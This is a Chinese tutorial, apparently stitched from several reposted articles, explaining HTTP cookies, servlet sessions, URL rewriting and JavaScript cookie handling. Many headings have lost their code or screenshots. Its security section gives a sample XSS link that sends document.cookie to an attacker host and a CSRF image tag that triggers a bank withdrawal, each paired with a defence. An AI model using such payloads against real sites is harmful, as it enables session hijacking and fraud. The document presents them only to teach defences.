ookie详解:一篇文章彻底搞懂Cookie
Cookie,这个在互联网技术领域广泛提及的名词,对于大多数普通用户来说可能只是浏览器设置中的一个选项,或是某些网站提醒你需要启用的功能。但对于网站开发者、数据分析师、以及关注个人隐私的安全专家来说,Cookie背后的意义要深远得多。本文将从定义、作用、类型、安全性等方面对Cookie进行详细解析,帮助你全面、深入地理解这一技术。
一、Cookie的定义
Cookie,即“小甜饼”的意思,在计算机领域中,特指一种由服务器发送到用户浏览器并保存在用户计算机上的小型文本文件。这个文件可以被服务器用来识别用户身份、跟踪用户活动、保存用户设置等。它通常由名称、值、域名、路径、过期时间等字段组成。
二、Cookie的作用
三、Cookie的类型
四、Cookie的安全性问题
虽然Cookie在许多方面都非常有用,但它们也存在一些潜在的安全风险:
五、总结
Cookie作为一种重要的客户端技术,在互联网应用中发挥着举足轻重的作用。它不仅可以用于会话管理、个性化设置等功能实现,还可以为网站提供有价值的数据分析服务。然而,在使用Cookie的过程中,我们也需要注意其潜在的安全风险,并采取相应的措施进行防范和保护。只有这样,我们才能在享受互联网带来的便利的同时,确保自己的隐私和安全不受侵害。
击关注,快速进阶高级架构师
作者:Zender
会话可简单理解为:用户开一个浏览器,点击多个超链接,访问服务器多个web资源,然后关闭浏览器,整个过程称之为一个会话。
每个用户在使用浏览器与服务器进行会话的过程中,不可避免各自会产生一些数据,程序要想办法为每个用户保存这些数据。
1、Cookie
Cookie意为"甜饼",是由W3C组织提出,最早由Netscape社区发展的一种机制。目前Cookie已经成为标准,所有的主流浏览器如IE、Netscape、Firefox、Opera等都支持Cookie。
由于HTTP是一种无状态的协议,服务器单从网络连接上无从知道客户身份。怎么办呢?就给客户端们颁发一个通行证吧,每人一个,无论谁访问都必须携带自己通行证。这样服务器就能从通行证上确认客户身份了。这就是Cookie的工作原理。
Cookie实际上是一小段的文本信息。客户端请求服务器,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。服务器还可以根据需要修改Cookie的内容。
2、Session
Session是服务器端技术,利用这个技术,服务器在运行时可以为每一个用户的浏览器创建一个其独享的session对象,由于session为用户浏览器独享,所以用户在访问服务器的web资源时,可以把各自的数据放在各自的session中,当用户再去访问服务器中的其它web资源时,其它web资源再从用户各自的session中取出数据为用户服务。
response接口也中定义了一个addCookie方法,它用于在其响应头中增加一个相应的Set-Cookie头字段。 同样,request接口中也定义了一个getCookies方法,它用于获取客户端提交的Cookie。
1、使用cookie记录用户上一次访问的时间
第一次访问时,如下所示:
再次访问:
2、删除Cookie
3、cookie中存/取中文
结果如下:
Cookie注意细节
1,一个Cookie只能标识一种信息,它至少含有一个标识该信息的名称(NAME)和设置值(VALUE)。
2,一个WEB站点可以给一个WEB浏览器发送多个Cookie,一个WEB浏览器也可以存储多个WEB站点提供的Cookie。
3,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB。
4,如果创建了一个cookie,并将他发送到浏览器,默认情况下它是一个会话级别的cookie(即存储在浏览器的内存中),用户退出浏览器之后即被删除。若希望浏览器将该cookie存储在磁盘上,则需要使用maxAge,并给出一个以秒为单位的时间。将最大时效设为0则是命令浏览器删除该cookie。
在WEB开发中,服务器可以为每个用户浏览器创建一个会话对象(session对象),注意:一个浏览器独占一个session对象(默认情况下)。因此,在需要保存用户数据时,服务器程序可以把用户数据写到用户浏览器独占的session中,当用户使用浏览器访问其它程序时,其它程序可以从用户的session中取出该用户的数据,为用户服务。
Session和Cookie的主要区别
1,Cookie是把用户的数据写给用户的浏览器。
2,Session技术把用户的数据写到用户独占的session中。
3,Session对象由服务器创建,开发人员可以调用request对象的getSession方法得到session对象。
Session是服务器端技术,利用这个技术,服务器在运行时可以为每一个用户的浏览器创建一个其独享的session对象,由于session为用户浏览器独享,所以用户在访问服务器的web资源时,可以把各自的数据放在各自的session中,当用户再去访问服务器中的其它web资源时,其它web资源再从用户各自的session中取出数据为用户服务。
当用户打开浏览器,访问某个网站操作session时,服务器就会在服务器的内存为该浏览器分配一个session对象,该session对象被这个浏览器独占。
这个session对象也可以看做是一个容器,session默认存在时间为30min,你可以修改。
1、Session可以用来做什么
1、网上商城中的购物车
2、保存登录用户的信息
3、将某些数据放入到Session中,供同一用户的各个页面使用
4、防止用户非法登录到某个页面。
2、Session基本使用
Servlet1:
Servlet2:
同一浏览器访问Servlet1,再访问Servlet2,结果如下:
不同浏览器访问Servlet1,再访问Servlet2,结果如下:
可以看到这时候name是null,也就是没有从session对象中取出值,因为360浏览器并没有运行Servlet1来创建Session对象,上面的session对象是Chrome浏览器独占的。
3、Session生命周期
Session中的属性的默认生命周期是30min,这个默认时间可以通过修改web.xml文件来修改
1,在Tomcat根目录\conf\web.xml文件中修改
<session-config> <session-timeout>30</session-timeout> </session-config>
2,如果只需要对某一个web应用设置,则只需要修改对应web应用的web.xml文件。在这个web.xml文件中添加如上的代码:
<session-config> <session-timeout>10</session-timeout> </session-config>
除了设置默认生命周期之外,最重要的是在程序中设置,调用setMaxInacttiveInterval(int interval),这里的interval是以秒为单位的,而且这个方法设置的是发呆时间,比如你设置的是60秒,那么在这60秒之内如果你没有操作过session,它就会自动删除,如果你操作过,不管是设置属性还是读取属性,它都会从头开始计时。
session.setMaxInactiveInterval(60);
服务器是如何实现一个session为一个用户浏览器服务的?
1,浏览器A先访问Servlet1,这时候它创建了一个Session,ID号为110,然后Servlet1将这个ID号以Cookie的方式返回给浏览器A。
2,浏览器A继续访问Servlet2,那么这个请求会带上Cookie值: JSESSIONID=110,然后服务器根据浏览器A传递过来的ID号找到内存中的这个Session。
3,浏览器B来访问Servlet1了,它的请求并没有带上 JSESSIONID这个Cookie值,由于它也要使用Session,所以服务器会新创建一个Session,ID号为111。
4,浏览器B继续访问Servlet2,那么这个请求会带上Cookie值: JSESSIONID=111,然后服务器根据浏览器B传递过来的ID号找到内存中的这个Session。
例如:
Servlet1:
Servlet2:
第一次访问Servlet1时,服务器会创建一个新的sesion,并且把session的Id以cookie的形式发送给客户端浏览器,如下图所示:
可以看到,Request Headers中并没有Cookie的信息,而Response Headers中有这么一句话:
Set-Cookie: JSESSIONID=05A94199DDC64311563740CC2C78D656; Path=/CookieAndSession/; HttpOnly
说明这个时候服务器向客户端通过Cookie传递回了 JSESSIONID这个属性。
然后访问Servlet2,如下图所示:
可以看到Response Headers中没有出现Set-Cookie这个头,而Request Headers中带上了Cookie这个头:
Cookie: JSESSIONID=05A94199DDC64311563740CC2C78D656
而这个头中正包含 JSESSIONID,并且它的值也就是我们之前Set-Cookie中 JSESSIONID的值。
这就证明了我们之前图解的Session的原理,也就是服务器能够为不同的浏览器区分不同的Session的机制。
1,用户登录时候验证验证码
Index.jsp:
CodeServlet:
Web.xml:
这里使用了jelly-core-1.7.0.GA.jar来生成了验证码,具体使用方式:
jelly-core-1.7.0.GA.jar(http://www.blogjava.net/fancydeepin/archive/2014/08/03/jelly_image.html)
访问http://localhost:8081/CookieAndSession/index.jsp输入验证码,点击提交:
输入正确验证码,页面响应结果:
输入错误验证码,页面响应结果:
输入正确验证码,后台结果:
输入错误验证码,后台结果:
2,实现简易购物车
模拟一个数据库:
BuyBookServlet这个Servlet用于购买图书:
运行结果:
3,防止用户非法登录到某个页面
比如我们的用户管理系统,必须要登录成功后才能跳转到主页面,而不能直接绕过登录页面直接到主页面,这个应用是一个非常常见的应用。
当在验证用户的控制器LoginClServlet.java验证用户成功后,将当前的用户信息保存在Session对象中:
然后在主页面Main.java最开始的地方,取出Session中的登录用户信息,如果信息为空,则为非法访问,直接跳转到登录页面,并提示相关信息:
那么这里就存在一个问题,一个网站会有很多个需要防止非法访问的页面,如果都是用这种方法岂不是很麻烦?
两种解决办法:
第一种:将这段验证用户的代码封装成函数,每次调用
第二种:使用过滤器
4,利用Session防止表单重复提交
具体的做法:
在服务器端生成一个唯一的随机标识号,专业术语称为Token(令牌),同时在当前用户的Session域中保存这个Token。然后将Token发送到客户端的Form表单中,在Form表单中使用隐藏域来存储这个Token,表单提交的时候连同这个Token一起提交到服务器端,然后在服务器端判断客户端提交上来的Token与服务器端生成的Token是否一致,如果不一致,那就是重复提交了,此时服务器端就可以不处理重复提交的表单。如果相同则处理表单提交,处理完后清除当前用户的Session域中存储的标识号。
在下列情况下,服务器程序将拒绝处理用户提交的表单请求:
1,存储Session域中的Token(令牌)与表单提交的Token(令牌)不同。
2,当前用户的Session中不存在Token(令牌)。
3,用户提交的表单数据中没有Token(令牌)。
例如:
创建FormTokenServlet,用于生成Token和跳转到token.jsp页面:
在token.jsp中使用隐藏域来存储Token(令牌),提交Token(令牌)到服务器:
TokenServlet处理表单提交:
运行结果如下:
这里存在一种情况,假如用户浏览器禁用了Cookie怎么办?比如我把Chrome的Cookie禁用,如下:
解决方法:URL重写
Servlet中的response提供了对URL重写的方法:
那么URL重写是什么意思呢?其实就是人为地把JSESSIONID附在了url的后面,比如我们修改之前写的简易购物车,ShowBook中所有的点击购买超链接都要重写。
之前我们是这么写的:
out.println("<tr><td>"+book.getName()+"</td><td><a href='"+ req.getContextPath() +"/BuyBookServlet.html?id="+book.getId()+"'>点击购买</a></td></tr>");
现在进行URL重写:
req.getSession();
String url="/MyCart/BuyBookCl?id="+book.getId();
url=resp.encodeURL(url);
out.println("<tr><td>"+book.getName()+"</td><td><a href='"+url+"'>点击购买</a></td></tr>");
需要注意的是,重写之前一定要调用或者确保使用过request.getSession()这个方法。
重写之前,访问ShowBookServlet的源代码是这样的:
重写之后呢:
可以看到URL重写之后,jsessionid这个参数自动附在了url后面,由此,得以确保我们的Session在Cookie被禁用的情况下继续正常使用。这时候我们查看购物车的地址栏如下,可以明显看到jsessionid这个参数:
原文:https://www.cnblogs.com/Zender/p/7657516.html
随着web应用越来越复杂,希望能够在用户本身机器上存储用户信息,无论是登录信息,偏好设定或其他数据,这个问题第一个方案就是以cookie形式出现的,最早提出cookie的网景公司。一份题为“Persistent Client State: HTTP Cookes”(持久客户端状态:HTTP Cookies)的标准中对 cookie 机制进行了阐述(该标准还可以在这里看到:http://curl.haxx.se/rfc/cookie_spec.html)。今天,cookie只是在客户端存储数据的其中一种选项。
HTTP Cookie,通常直接叫做 cookie,最初是在客户端用于存储会话信息的。该标准要求服务器对 任意 HTTP 请求发送 Set-Cookie HTTP 头作为响应的一部分,其中包含会话信息。例如,这种服务器响 应的头可能如下:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Other-header: other-header-value
这个 HTTP 响应设置以 name 为名称、以 value 为值的一个 cookie,名称和值在传送时都必须是URL 编码的。浏览器会存储这样的会话信息,并在这之后,通过为每个请求添加 Cookie HTTP 头将信息发送回服务器,如下所示:
GET /index.html HTTP/1.1 Cookie: name=value Other-header: other-header-value
如图所示,用户首次访问服务器,服务器会返回一个独一无二的识别码;id=23451,这样服务器可以用这个码跟踪记录用户的信息,(购物历史,地址信息等)。
cookie可以包含任意的信息,不仅仅是id,客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中,当用户访问同一站点时,浏览器就会挑选当时该站点颁发的id=XXX的身份证(cookie),并在Cookie请求首部发送过去。
cookie可以根据存储时间分为会话coolie和持久cookie,会话cookie会在关闭浏览器后自动删除,持久性cookie会存储在硬盘上,保存时间更久,关闭浏览器和电脑还可以保存。比如:
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";
域
cookie 对于哪个域是有效的。所有向该域发送的请求中都会包含这个 cookie 信息。这个值可以包含子域(subdomain,如www.wrox.com),也可以不包含它(如.wrox.com,则对于wrox.com的所有子域都有效)。如果没有明确设定,那么这个域会被认作来自设置 cookie 的那个域。
值
储存在 cookie 中的字符串值。值必须被 URL 编码。
路径
对于指定域中的那个路径,应该向服务器发送 cookie。例如,你可以指定 cookie 只有从http://www.wrox.com/books/ 中才能访问,那么 http://www.wrox.com 的页面就不会发送 cookie 信息,即使请求都是来自同一个域的。
过期时间
表示 cookie 何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie)。默认情况下,浏览器会话结束时即将所有 cookie 删除;不过也可以自己设置删除时间。这个值是个 GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用于指定应该删除cookie 的准确时间。因此,cookie 可在浏览器关闭后依然保存在用户的机器上。如果你设置的失效日期是个以前的时间,则 cookie 会被立刻删除。
安全标志
指定后,cookie 只有在使用 SSL 连接的时候才发送到服务器。例如,cookie 信息只能发送给 https://www.wrox.com,而 http://www.wrox.com 的请求则不能发送 cookie。 每一段信息都作为 Set-Cookie 头的一部分,使用分号加空格分隔每一段,如下例所示。
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com Other-header: other-header-value
该头信息指定了一个叫做 name 的 cookie,它会在格林威治时间 2007 年 1 月 22 日 7:10:24 失效,同时对于 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 标志是 cookie 中唯一一个非名值对儿的部分,直接包含一个 secure 单词。如下:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; domain=.wrox.com; path=/; secure Other-header: other-header-value
这里,创建了一个对于所有 wrox.com 的子域和域名下(由 path 参数指定的)所有页面都有效的cookie。因为设置了 secure 标志,这个 cookie 只能通过 SSL 连接才能传输。尤其要注意,域、路径、失效时间和 secure 标志都是服务器给浏览器的指示,以指定何时应该发送 cookie。这些参数并不会作为发送到服务器的 cookie 信息的一部分,只有名值对儿才会被发送。
在JavaScript中处理cookie有些复杂,因为其众所周知的蹩脚的接口,即BOM的document. cookie属性。这个属性的独特之处在于它会因为使用它的方式不同而表现出不同的行为。当用来获取属性值时,document.cookie 返回当前页面可用的(根据 cookie 的域、路径、失效时间和安全设置)所有 cookie的字符串,一系列由分号隔开的名值对儿,如下例所示。
name1=value1;name2=value2;name3=value3
所有名字和值都是经过 URL 编码的,所以必须使用 decodeURIComponent()来解码。
注意:当用于设置值的时候,document.cookie 属性可以设置为一个新的 cookie 字符串。这个 cookie 字符串会被解释并添加到现有的 cookie 集合中。设置 document.cookie 并不会覆盖 cookie,除非设置的cookie 的名称已经存在。设置 cookie 的格式如下,和 Set-Cookie 头中使用的格式一样。
name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure
这些参数中,只有 cookie 的名字和值是必需的。下面是一个简单的例子。
document.cookie="name=Nicholas";
这段代码创建了一个叫 name 的 cookie,值为 Nicholas。当客户端每次向服务器端发送请求的时候,都会发送这个 cookie;当浏览器关闭的时候,它就会被删除。虽然这段代码没问题,但因为这里正好名称和值都无需编码,所以最好每次设置 cookie 时都像下面这个例子中一样使用encodeURIComponent()。 document.cookie=encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");
要给被创建的 cookie 指定额外的信息,只要将参数追加到该字符串,和 Set-Cookie 头中的格式一样,如下所示。 document.cookie=encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";
由于JS操作cookie比较麻烦,我们一般封装一层
var CookieUtil={
setCookie:function(name,value,expiredays){
var d=new Date();
d.setDate(date.getDate()+expiredays);
window.document.cookie=encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString();
},
getCookie:function(name){
var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)'));
return v?v[2]:null;
},
deleteCookie:function(name){
this.setCookie(name, '', -1)
}
}
1、大小限制,每个域的 cookie 总数是有限的,不过浏览器之间各有不同
2、过多的 Cookie 会带来巨大的性能浪费
Cookie 是紧跟域名的。同一个域名下的所有请求,都会携带 Cookie。大家试想,如果我们此刻仅仅是请求一张图片或者一个 CSS 文件,我们也要携带一个 Cookie 跑来跑去(关键是 Cookie 里存储的信息并不需要),这是一件多么劳民伤财的事情。Cookie 虽然小,请求却可以有很多,随着请求的叠加,这样的不必要的 Cookie 带来的开销将是无法想象的。
3、安全性问题
多数网站使用cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符,攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子:
网络窃听
网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等)。
解决办法:服务器可以设置secure属性的cookie,这样就只能通过https的方式来发送cookies了。
DNS缓存中毒
如果攻击者可以使DNS缓存中毒,那么攻击者就可以访问用户的Cookie了,例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片。用户访问这个图片,由于 www.demo.com和h123456.www.demo.com是同一个子域,所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上,这样攻击者就会拿到用户的cookie搞事情。
一般情况下是不会发生这种情况,通常是网络供应商错误。
跨站点脚本XSS
使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的cookie信息。 例子:
<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>领取红包
当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。
解决办法:可以通过cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作cookie。
跨站请求伪造CSRF
例如,SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素,例如,
<img src="http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
如果SanShao的银行将其认证信息保存在cookie中,并且cookie尚未过期,(当然是没有其他验证身份的东西),那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单,从而在未经SanShao批准的情况下授权交易。
解决办法:增加其他信息的校验(手机验证码,或者其他盾牌)。
点赞+转发,让更多的人也能看到这篇内容(收藏不点赞,都是耍流氓-_-)
关注 {我},享受文章首发体验!
每周重点攻克一个前端技术难点。更多精彩前端内容私信 我 回复“教程”!
原文链接:https://github.com/huzhao0316/articals/wiki/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E6%B5%8F%E8%A7%88%E5%99%A8Cookie
*请认真填写需求信息,我们会在24小时内与您取得联系。